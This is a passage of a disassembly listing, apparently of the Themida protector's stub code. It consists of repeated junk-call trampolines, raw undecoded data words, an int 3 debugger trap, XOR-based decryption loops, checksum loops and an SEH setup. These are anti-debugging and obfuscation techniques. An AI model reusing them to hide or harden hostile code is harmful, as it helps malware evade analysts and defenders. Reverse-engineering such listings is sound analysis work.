		dd 0C8830Fh, 8D090000h,	6152B1Dh, 0B3C8B60Fh, 38A0F7Eh
		dd 0F000000h, 6BAF9BFh,	0BB000000h, 1323C99Fh, 8B66C18Bh
		dd 4E8C1F9h, 0E2F766F5h, 0A259D89h, 0C82B0615h,	0BD39D781h
		dd 0D18B5901h, 49B58952h, 5B061503h, 1E9h, 858BF900h, 6151D91h
		dd 5698501h, 0C0830615h, 6E95707h, 36000000h, 147985ECh
		dd 0C0835B8Ah, 0C99D0300h, 0F061511h, 286h, 3B62B300h
		dd 10830FD0h, 0BF000000h, 3B3555C1h, 41E9h, 0E19D8B00h
		dd 8B061520h, 1528718Dh, 51858906h, 8306152Ah, 840F01E1h
		dd 26h,	66DEBF0Fh, 83BEA6BFh, 152871A5h, 957FE06h, 150461B5h
		dd 95895B06h, 6151D91h,	0DE7911BBh, 0E931h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5BF0E6:				; CODE XREF: Themida_:005BEFD5j
		lea	esi, [ebp+618E1BCh]
		push	0
		push	edi
		call	sub_5BF0F7
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BF0F7	proc near		; CODE XREF: Themida_:005BF0EFp

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 16h
		inc	edi
		push	edi
		retn
sub_5BF0F7	endp

; ---------------------------------------------------------------------------
		sbb	dword ptr [esi+3Fh], 0FFFFFF81h
		mov	dword ptr [ebx+2Ch], 6A0290h
		push	ecx
		mov	bx, 9D61h
		pop	edi
		call	dword ptr [ebp+6152E21h]
		push	0
		push	edi
		call	sub_5BF129
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BF129	proc near		; CODE XREF: Themida_:005BF121p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 17h
		inc	edi
		push	edi
		retn
sub_5BF129	endp

; ---------------------------------------------------------------------------
		dec	esi
		sbb	esi, [esi-42h]
		mov	ebx, [ebp+6152589h]
		mov	ecx, 0DD2h
		push	0
		push	ebx
		call	sub_5BF153
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BF153	proc near		; CODE XREF: Themida_:005BF14Bp

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 17h
		inc	ebx
		push	ebx
		retn
sub_5BF153	endp

; ---------------------------------------------------------------------------
		jns	short loc_5BF181
		push	es
		int	3		; Trap to Debugger
		mov	di, 0ADCh
		and	ecx, 0FFFFFFFCh
		mov	ebx, 1316823Eh
		jmp	loc_5BF181
; ---------------------------------------------------------------------------
		dd 0E4A280B7h, 806CF5B4h
		db 1
; ---------------------------------------------------------------------------


loc_5BF181:				; CODE XREF: Themida_:005BF163j
					; Themida_:005BF173j
		cld
		mov	[ebp+6151135h],	eax
		xor	di, 6DADh
		sub	eax, eax
		push	0
		push	ebp
		call	sub_5BF19A
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BF19A	proc near		; CODE XREF: Themida_:005BF192p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 15h
		inc	ebp
		push	ebp
		retn
sub_5BF19A	endp

; ---------------------------------------------------------------------------
		dw 4D63h
; ---------------------------------------------------------------------------
		push	ecx
		mov	ebx, 700AB549h
		pop	ebx
		mov	ebx, [ebp+6151E6Dh]
		mov	edx, 0
		sbb	bl, 8Dh


loc_5BF1C1:				; CODE XREF: Themida_:005BF1CBj
		lodsd
		xor	eax, edx
		shr	eax, 1
		add	edx, eax
		sub	ecx, 4
		jnz	short loc_5BF1C1
		mov	[ebp+61510DDh],	esi
		push	0
		push	ebx
		call	sub_5BF1DE
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BF1DE	proc near		; CODE XREF: Themida_:005BF1D6p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 17h
		inc	ebx
		push	ebx
		retn
sub_5BF1DE	endp

; ---------------------------------------------------------------------------
		dw 0D0A4h
; ---------------------------------------------------------------------------
		mov	dh, 7Ch
		jmp	loc_5BF203
; ---------------------------------------------------------------------------
		db 0D1h
		dd 921481B0h, 4AB1CC16h
		db 1Dh,	5Fh, 85h
; ---------------------------------------------------------------------------


loc_5BF203:				; CODE XREF: Themida_:005BF1F2j
		or	eax, 88h
		push	0
		push	esi
		call	sub_5BF213
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BF213	proc near		; CODE XREF: Themida_:005BF20Bp

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Ah
		inc	esi
		push	esi
		retn
sub_5BF213	endp

; ---------------------------------------------------------------------------
		db 8Dh
; ---------------------------------------------------------------------------
		fidivr	dword ptr [ecx+73h]
		fldenv	byte ptr [edi]
		add	al, 8Bh
		xchg	eax, ebp
		and	[edi], esp
		adc	eax, 57006A06h
		call	sub_5BF23B
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BF23B	proc near		; CODE XREF: Themida_:005BF233p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 14h
		inc	edi
		push	edi
		retn
sub_5BF23B	endp

; ---------------------------------------------------------------------------
		adc	[ebx+1504CD8Dh], cl
		push	es
		push	eax
		mov	eax, edx
		mov	ebx, [eax]
		add	eax, ecx
		mov	ebx, [eax]
		mov	eax, ecx
		shr	eax, 1
		add	eax, edx
		mov	ebx, [eax]


loc_5BF263:				; CODE XREF: Themida_:005BF2B4j
		pop	eax
		mov	ebx, [ebp+61525E5h]
		push	0
		push	edi
		call	sub_5BF275
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BF275	proc near		; CODE XREF: Themida_:005BF26Dp

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 17h
		inc	edi
		push	edi
		retn
sub_5BF275	endp

; ---------------------------------------------------------------------------
		mov	esi, 66698F4Ch
		mov	edi, esi
		cmp	dword ptr [ebp+61518A9h], 0
		jz	loc_5BF2F3
		and	edi, 65657F7Bh
		sbb	bx, 8DFCh
		mov	eax, 0
		jmp	loc_5BF2BF
; ---------------------------------------------------------------------------
		fistp	word ptr [eax+7C1F66C4h]
		jmp	short loc_5BF263
; ---------------------------------------------------------------------------
		dw 0AECEh
		dd 874F59BDh
		db 0C7h, 54h, 0A3h
; ---------------------------------------------------------------------------


loc_5BF2BF:				; CODE XREF: Themida_:005BF2A9j
		lea	ecx, [ebp+6154F9Eh]
		and	ebx, [ebp+615136Dh]
		jmp	ecx
; ---------------------------------------------------------------------------
		push	0
		push	ebx
		call	sub_5BF2D8
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BF2D8	proc near		; CODE XREF: Themida_:005BF2D0p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 14h
		inc	ebx
		push	ebx
		retn
sub_5BF2D8	endp

; ---------------------------------------------------------------------------
		and	cl, [ebx+152F159Dh]
		push	es
		mov	bx, 6DA9h


loc_5BF2F3:				; CODE XREF: Themida_:005BF293j
		cmp	dword ptr [ebp+6151115h], 0
		jz	loc_5BF71A
		push	0
		push	esi
		call	sub_5BF30B
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BF30B	proc near		; CODE XREF: Themida_:005BF303p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Ah
		inc	esi
		push	esi
		retn
sub_5BF30B	endp

; ---------------------------------------------------------------------------
		db 0F3h
		dd 6E136B20h, 0E9500091h, 0Bh, 0D8532E8Dh, 81CA6770h, 5B1D376Eh
		dd 0F18D0153h, 5B061508h, 1115BD83h, 0F010615h,	3EC84h
		dd 618D8900h, 8306150Ah, 151115BDh, 860F0306h, 3A3h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 19h, 23C35242h, 49837FD0h
		dd 12E9DFh, 772F0000h, 8936A40Dh, 0C2474ADh, 0B2985D6Ah
		dd 4A8804E5h, 11E9F860h, 0E8000000h, 0CA7BBF89h, 327EB85Dh
		dd 6F9C6FADh, 26034DB5h, 6AD98C66h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 16042444h, 45000000h, 10CFC355h
		dd 0C9BD8B31h, 0F061521h, 84h, 4E18000h, 0E853006Ah, 3
		dd 5BC35B20h, 4245C89h,	4244481h, 1Ah, 0AAC35343h, 7B8B8C29h
		dd 3BBDE76h, 0A3EEE8Dh,	12840FC9h, 6A000001h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 17042444h, 42000000h
		dd 1061C352h, 858B14F3h, 615249Dh, 0AA1ADB81h, 7E93699h
		dd 0E1000000h, 2EDB20C3h, 85339611h, 61519B5h, 81FAB70Fh
		dd 906C9EBh, 52505034h,	5B565250h, 0EAB7310Fh, 310F585Ah
		dd 489585Ah, 68A0F24h, 81000000h, 2DB1D0E3h, 6AF818h, 158A0Fh
		dd 10E90000h, 0F3000000h, 3BB7F581h, 2A9CBC7Ah,	0EFE802D6h
		dd 68B4735Eh, 7B40FD3Ch, 0E9525060h, 9,	0C210EA88h, 0F93DC087h
		dd 0BB310FCDh, 366F3668h, 5250585Ah, 9E8h, 0E1C98A00h
		dd 9DAEEE08h, 0F5A802Ch, 9216BB31h, 585A379Ah, 24348161h
		dd 7B5FFEC3h, 953DB81h,	95FF64C9h, 6150DADh, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Ch, 0AEC35040h, 374E550Dh
		dd 0AC3641FDh, 8589F88Bh, 618BF99h, 6830Fh, 0BD8B0000h
		dd 6151849h, 18FE9h, 95BB6600h,	91858B0Fh, 890618BFh, 1509E995h
		dd 1800C706h, 6A000000h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 17042444h, 40000000h, 0C232C350h,	860F8161h
		dd 6, 12BDB589h, 0B58B0615h, 618BF95h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Bh, 55C35141h, 0A4EC67A2h, 8B9D39F7h
		dd 1525919Dh, 45858B06h, 8906150Ch, 15104195h, 81068906h
		dd 9CA8BCF3h, 9D858B4Fh, 0B061524h, 152CAD9Dh, 4468906h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 0A0C35343h
		dd 24E36291h, 6D7E2DCDh, 0B58960CAh, 615257Dh, 746B966h
		dd 8B665061h, 243489DEh, 0E851006Ah, 3,	59C35920h, 4244C89h
		dd 4244481h, 15h, 0FFC35141h, 219D8BD5h, 0FF061510h, 18BF91B5h
		dd 52006A06h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1504h
		dd 0C3524200h, 852956B8h, 61517A9h, 4CEAD068h, 81FB8BF0h
		dd 192F2404h, 6A0FD2h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 180424h, 51410000h, 7043F0C3h, 8B661BB8h, 99858DDFh
		dd 810618BFh, 0F45089CFh, 8B665043h, 240489FAh,	0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 18h, 3CC35242h, 0FC1B7C2Fh
		dd 0D553BF66h, 86D9D8Bh, 95FF0615h, 6150DADh, 0E1E1BB66h
		dd 81666061h, 61F4DAD9h, 111585C7h, 30615h, 0BF0F0000h
		dd 99BD83FAh, 618BFh, 35840Fh, 6A0000h,	3E857h,	5F200000h
		dd 7C895FC3h, 44810424h, 1C0424h, 57470000h, 44BC02C3h
		dd 87A78BD8h, 9D8B8EAFh, 6150669h, 21E9h, 8F0F00h, 50000000h
		dd 110C30h, 0C1011144h,	443010E8h, 4C000211h, 83580311h
		dd 0E77504E9h
; ---------------------------------------------------------------------------
		jmp	short loc_5BF750
; ---------------------------------------------------------------------------


loc_5BF71A:				; CODE XREF: Themida_:005BF2FAj
					; Themida_:005BF731j
		push	eax
		xor	[ecx+edx], al
		add	[ecx+edx+1], ah
		shr	eax, 10h
		xor	[ecx+edx+2], al
		add	[ecx+edx+3], ah
		pop	eax
		sub	ecx, 4
		jnz	short loc_5BF71A
		jmp	short loc_5BF750
; ---------------------------------------------------------------------------


loc_5BF735:				; CODE XREF: Themida_:005BF74Cj
		push	eax
		shr	eax, 10h
		sub	[ecx+edx+3], ah
		xor	[ecx+edx+2], al
		pop	eax
		sub	[ecx+edx+1], ah
		xor	[ecx+edx], al
		sub	ecx, 4
		jnz	short loc_5BF735
		jmp	short $+2


loc_5BF750:				; CODE XREF: Themida_:005BF718j
					; Themida_:005BF733j
		mov	eax, eax
		jmp	loc_5BF75E
; ---------------------------------------------------------------------------
		jns	short loc_5BF7B4
		mov	al, ds:79DF8355h


loc_5BF75E:				; CODE XREF: Themida_:005BF752j
		movzx	edi, di
		or	[ebp+6150101h],	edi
		cmp	dword ptr [ebp+6151115h], 3
		jnz	loc_5BFBD0
		push	0
		push	edx
		call	sub_5BF77F
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BF77F	proc near		; CODE XREF: Themida_:005BF777p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Ah
		inc	edx
		push	edx
		retn
sub_5BF77F	endp

; ---------------------------------------------------------------------------
		db 4
		dd 72300E7Dh, 9D238626h, 6150CEDh, 0BF99BD83h, 0F000618h
		dd 42784h, 0AE900h, 75340000h, 0B64C171Bh
; ---------------------------------------------------------------------------


loc_5BF7B4:				; CODE XREF: Themida_:005BF757j
		adc	[esi-474A4CFh],	bh
		push	dword ptr [ebp+618BF99h]
		or	ebx, 1BCFDC01h
		call	dword ptr [ebp+61510E1h]
		mov	[ebp+61505B9h],	ecx
		jmp	loc_5BF7DE
; ---------------------------------------------------------------------------
		db 0E5h
		dd 1E4A8804h
		db 0C9h, 3Dh
; ---------------------------------------------------------------------------


loc_5BF7DE:				; CODE XREF: Themida_:005BF7D2j
		mov	esi, [ebp+618BF8Dh]
		push	0
		push	edi
		call	sub_5BF7EF
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BF7EF	proc near		; CODE XREF: Themida_:005BF7E7p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 17h
		inc	edi
		push	edi
		retn
sub_5BF7EF	endp

; ---------------------------------------------------------------------------
		jle	short near ptr dword_5BF834
		call	fword ptr [ebp+0DD1B589h]
		adc	eax, 106C706h
		add	[ecx], al
		add	[ebx+1524B1BDh], cl
		push	es
		call	near ptr loc_5BF81D+3
		pop	ebx
		sbb	[esi], bl


loc_5BF81D:				; CODE XREF: Themida_:005BF815p
		pminub	mm0, qword ptr [ebx+0BE8h]
		add	[ebx+592AC196h], al
		sahf
		lodsb
		retf	0AE58h
; ---------------------------------------------------------------------------
		db 67h
		dd 840Fh
dword_5BF834	dd 5B5B0000h, 5E850h, 222A0000h, 0E934C727h, 5,	891A4352h
					; CODE XREF: Themida_:005BF7FFj
		dd 34895FF9h, 55006A24h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1C04h, 0C3554500h, 0CC0F2077h, 0C0D843D8h, 0F59D8924h
		dd 8906150Fh, 1502D5B5h, 0FFD88A06h, 18BF99B5h,	57006A06h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1C04h, 0C3574700h
		dd 254E891h, 633D326Eh,	11FBBF3Bh, 95FF6DBDh, 61506A1h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 0D7C35646h
		dd 231420F6h, 6671D46Bh, 8B9907BBh, 18BF8DB5h, 57006A06h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1B04h, 0C3574700h
		dd 3B33FA33h, 0BFE2ACF6h, 7D9BD8Bh, 858B0615h, 6150059h
		dd 8689FBB3h, 0C4h, 0E856006Ah,	3, 5EC35E20h, 4247489h
		dd 4244481h, 14h, 0CEC35646h, 4D9D8BF8h, 8B061517h, 15272195h
		dd 52006A06h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1804h
		dd 0C3524200h, 45C7AE78h, 0D9BF0F59h, 2904C283h, 1508B99Dh
		dd 20508906h, 0D458858Dh, 0BB660618h, 8689394Bh, 0B8h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 15h, 53C35141h
		dd 1D8D896Dh, 29061500h, 15022D8Dh, 89006A06h, 1518419Dh
		dd 99B5FF06h, 6A0618BFh, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 17042444h, 42000000h, 4632C352h, 95FFFE11h
		dd 6151D4Dh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 19h,	97C35343h, 119474DDh, 11EF81DCh, 603F50E5h, 6D18D23h
		dd 0BD8B0615h, 6152EA1h, 0DE85061h, 0BE000000h,	68354A59h
		dd 0B6CCED09h, 9EC76190h, 11E860h, 20DE0000h, 951F952Ch
		dd 0B9C48100h, 6C9FBF4Dh, 5E6C2A72h, 5E8h, 27843000h, 61594B49h
		dd 2434895Fh, 0FFD9B70Fh, 18BF99B5h, 0F8BB6606h, 2995FFB2h
		dd 6A061507h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 16042444h, 41000000h, 4EA1C351h, 13E80Bh, 90160000h
		dd 0C7E8AA01h, 9A57912Fh, 1C2B3264h, 71D24058h,	835FF88Fh
		dd 150065BDh, 840F0006h, 35h, 2ACD9589h, 60500615h, 5B5B5756h
		dd 8961EA8Ah, 6A2434h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1B0424h, 52420000h, 90DE5CC3h, 0B46B4319h, 99B5FFC2h
		dd 660618BFh, 95FFDA8Bh, 6150439h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 17h, 1C35040h, 81C06173h, 4A01A6EFh
		dd 0DA8B6650h, 0BF99B5FFh, 6A0618h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 160424h, 56460000h, 0E6505DC3h
		dd 7BC2B4BFh, 2DBD8B77h, 0FF061517h, 150DCD95h,	53006A06h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1504h, 0C3534300h
		dd 8D290596h, 6151D81h,	285DBD83h, 0F020615h, 4884h, 800FF900h
		dd 15h,	0AE960h, 4EB0000h, 864532C6h, 9BB535C9h, 8F86B866h
		dd 49858B61h, 6A061528h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 14042444h, 45000000h, 6698C355h, 0A80FD781h
		dd 8B0000C6h, 0F585C7F8h, 61523h, 66000000h, 0BF6FC781h
; ---------------------------------------------------------------------------


loc_5BFBD0:				; CODE XREF: Themida_:005BF76Ej
		jmp	loc_5BEFA9
; ---------------------------------------------------------------------------
		mov	bl, 18h
		mov	eax, ecx
		push	0
		push	ebp
		call	sub_5BFBE4
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BFBE4	proc near		; CODE XREF: Themida_:005BFBDCp

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 16h
		inc	ebp
		push	ebp
		retn
sub_5BFBE4	endp

; ---------------------------------------------------------------------------
		pop	edi
		and	byte ptr [ebp+6850Fh], 0
		add	[ebx+15191D9Dh], cl
		push	es


loc_5BFC03:				; DATA XREF: Themida_:0057AD70o
		lea	eax, [ebp+615279Dh]
		push	0
		push	ebx
		call	sub_5BFC14
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BFC14	proc near		; CODE XREF: Themida_:005BFC0Cp

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Bh
		inc	ebx
		push	ebx
		retn
sub_5BFC14	endp

; ---------------------------------------------------------------------------
		dd 0AC1F646h, 2D563C15h, 90FABF0Fh, 0C2B35250h,	71BF310Fh
		dd 5A048C6Dh, 0E9605058h, 0Eh, 879DEB8Ch, 0E4C2C7E5h, 0B16FB8D4h
		dd 0B660726Bh, 61616005h, 95899061h, 6152D8Dh, 6A006Ah
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1D0424h, 56460000h
		dd 4055B7C3h, 821B3A29h, 9B42709h, 15059185h, 6A006A06h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 15042444h
		dd 43000000h, 77E9C353h, 63F2858Dh, 81660619h, 83CE24C7h
		dd 6A05C0h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h
		dd 57470000h, 0B189C2C3h, 61F9D97Dh, 66525090h,	310FDF8Bh
		dd 3800Fh, 8B660000h, 50585AFEh, 6A901EB7h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 14042444h, 46000000h, 0F57BC356h
		dd 1381BD8Bh, 6AFC0615h, 45B50900h, 6A061509h, 7995FF00h
		dd 8B061526h, 152DF19Dh, 158D8D06h, 6A06189Ch, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1D042444h, 40000000h
		dd 0B5BBC350h, 99FF4FC1h, 0D2D984F2h, 0BE9D1FFh, 0BE000000h
		dd 90D3676Fh, 0C1385824h, 0BD83B874h, 6152DB5h,	0AA850F01h
		dd 89000000h, 1512F1B5h, 0D3E78006h, 6A026Ah, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 180424h, 57470000h, 27FD55C3h
		dd 0E1B35028h, 5998509h, 50500615h, 8E85052h, 0EB000000h
		dd 8204670Ah, 5B62880Ch, 66310F5Fh, 5A1981BFh, 24048958h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 19h, 7BC35242h
		dd 9E956524h, 4D95FFF0h, 6A06151Dh, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1B042444h, 41000000h, 0AD11C351h
		dd 494ECF8Ch, 0B70FF5BCh, 68E0FF8h, 89000000h, 15156D85h
		dd 0DADE906h, 0E80000h,	5D000000h, 63FCED81h, 6A0619h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h, 52420000h
		dd 0ED8976C3h, 0BD8B644Ch, 61502CDh, 3089BD8Bh,	6A0615h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1A0424h, 55450000h
		dd 0C15688C3h, 8F60FEAh, 0F9858DF8h, 6A061888h,	3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1B042444h, 42000000h
		dd 8AE2C352h, 0D6D5EA07h, 9501BE1Bh, 6150305h, 58E0F90h
		dd 0BB000000h, 7100125Ah, 0F88B6650h, 35FF6490h, 0
; ---------------------------------------------------------------------------
		mov	ebx, [ebp+6151D11h]
		mov	large fs:0, esp
		mov	[ebp+61502A5h],	edi
		mov	bx, cx
		inc	dword ptr [ebp+6151535h]
		mov	ebx, 575AC7E3h
		push	0FFFFFFFFh
		push	0
		push	ebx
		call	sub_5BFEF6
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BFEF6	proc near		; CODE XREF: Themida_:005BFEEEp

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 17h
		inc	ebx
		push	ebx
		retn
sub_5BFEF6	endp

; ---------------------------------------------------------------------------
		mov	edi, 0FFC28017h
		mov	ch, 0Dh
		db	2Eh
		adc	eax, 57006A06h
		call	sub_5BFF1B
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BFF1B	proc near		; CODE XREF: Themida_:005BFF13p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 16h
		inc	edi
		push	edi
		retn
sub_5BFF1B	endp

; ---------------------------------------------------------------------------
		db 38h
		dd 2951D825h, 150AB1B5h, 95FF5B06h, 61508BDh, 146E9h, 7E900h
		dd 426E0000h, 78817F7h,	900B0F8h, 1511258Dh, 5170E606h
		dd 2225BD89h, 0E45F0615h, 0A1BD8B71h, 3C061527h, 18830F61h
		dd 0F000001h, 8B0FC8B6h, 10h, 0BE9h, 0C3FFB900h, 20F1FBA6h
		dd 0CB3D0AF9h, 0EFD78166h, 6BA37h, 8B660000h, 7D8589DAh
		dd 8B061505h, 9919BBC1h, 0E8C1044Dh, 0F766FC04h, 10E8E2h
		dd 31A10000h, 34B337D4h, 868B697Bh, 18D86B27h, 0DE9E8F5h
		dd 50000000h, 6C70374Bh, 0CBDAC72Dh, 38333106h,	29C82B5Bh
		dd 150A9585h, 0B9BD8B06h, 8B061528h, 0EE9F8D1h,	60000000h
		dd 2781B589h, 9D890615h, 61502E5h, 8D858B61h, 0E9061527h
		dd 0Eh,	0D7E0F500h, 0F2963231h,	0DAB75ECBh, 0C0834B5Bh
		dd 0C19D8B07h, 8306150Fh, 9D0100C0h, 6153389h, 830FD03Bh
		dd 24h,	13850F60h, 0E9000000h, 0Eh, 5F54232Fh, 0A830C432h
		dd 2BB4D215h, 61FC2D4Eh, 3EE9h,	0DF8B6600h, 4E18D8Bh, 83F80615h
		dd 840F01E1h, 2Bh
; ---------------------------------------------------------------------------


loc_5C005C:				; DATA XREF: ___:off_443E9Co
		jnz	$+6
		and	dword ptr [ebp+61504E1h], 0FFFFFFFEh
		adc	bx, 0FF3Fh
		mov	[ebp+615278Dh],	edx
		push	ecx
		ja	loc_5C0081
		jl	$+6


loc_5C0081:				; CODE XREF: Themida_:005C0075j
		pop	edi
		jmp	$+5
		lea	esi, [ebp+618F145h]
		push	0
		push	ebp
		call	sub_5C0098
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C0098	proc near		; CODE XREF: Themida_:005C0090p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 19h
		inc	ebp
		push	ebp
		retn
sub_5C0098	endp

; ---------------------------------------------------------------------------
		cmc
		mov	eax, ds:0A84CD19Bh
		jmp	loc_5C00C5
; ---------------------------------------------------------------------------
		db 0FEh
		dd 752260E3h, 7EA38339h, 91A30C0Bh, 0D21D2F63h
		db 4Ch
; ---------------------------------------------------------------------------


loc_5C00C5:				; CODE XREF: Themida_:005C00AEj
		push	0
		sub	[ebp+61510FDh],	eax
		call	dword ptr [ebp+6152E21h]
		sub	edi, [ebp+6152665h]
		mov	ecx, 882h
		adc	edi, 3E5F7CFAh
		and	ecx, 0FFFFFFFCh
		push	0
		push	ebx
		call	sub_5C00F2
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C00F2	proc near		; CODE XREF: Themida_:005C00EAp

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 18h
		inc	ebx
		push	ebx
		retn
sub_5C00F2	endp

; ---------------------------------------------------------------------------
		lds	ecx, [edx+66031440h]
		mov	edi, ecx
		cld
		push	0
		push	ebp
		call	sub_5C0116
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C0116	proc near		; CODE XREF: Themida_:005C010Ep

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 15h
		inc	ebp
		push	ebp
		retn
sub_5C0116	endp

; ---------------------------------------------------------------------------
		push	ecx
		db	2Eh
		movsx	edi, si
		mov	ebx, 662D1FD3h
		mov	eax, 0
		mov	edi, [ebp+61511A5h]
		push	esi
		call	sub_5C014D
		cmc
		or	eax, 0F55B4CAAh
		dec	ecx
		mov	esi, ecx
		adc	cl, cl
		pop	ecx

; =============== S U B	R O U T	I N E =======================================



sub_5C014D	proc near		; CODE XREF: Themida_:005C013Cp
		cld
		pop	edi
		pop	ebx
		mov	edx, 0
		mov	ebx, esi


loc_5C0157:				; CODE XREF: sub_5C014D+14j
		lodsd
		xor	eax, edx
		shr	eax, 1
		add	edx, eax
		sub	ecx, 4
		jnz	short loc_5C0157
		mov	edi, [ebp+61502C5h]
		push	0
		push	ebx
		call	sub_5C0174
		and	[ebx-3Dh], bl
sub_5C014D	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_5C0174	proc near		; CODE XREF: sub_5C014D+1Fp

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Bh
		inc	ebx
		push	ebx
		retn
sub_5C0174	endp

; ---------------------------------------------------------------------------
		dd 8DBB81C1h, 8FAACED1h, 0FC98D89h, 880D0615h, 6A000000h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 14042444h
		dd 45000000h, 81A0C355h, 8D4758DFh, 21958B49h, 66061527h
		dd 0BDB2EF81h, 4CD8D8Bh, 0C7810615h, 3180CEE1h,	8BC28B50h
		dd 8BC10318h, 0D1C18B18h, 8BC203E8h, 6A5818h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 190424h, 50400000h, 51B940C3h
		dd 0E87B0310h, 0Eh, 9B2838B9h, 7EA68CCEh, 38BCB610h, 0AE8CB55h
		dd 0C7000000h, 6D94D052h, 58686EB8h, 0B59529BCh, 5B061504h
		dd 9D85315Bh, 6A061518h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1B042444h, 45000000h, 4772C355h, 9C2721ABh
		dd 0BD835EA7h, 61518A9h, 4B840F00h, 6A000000h, 3E85300h
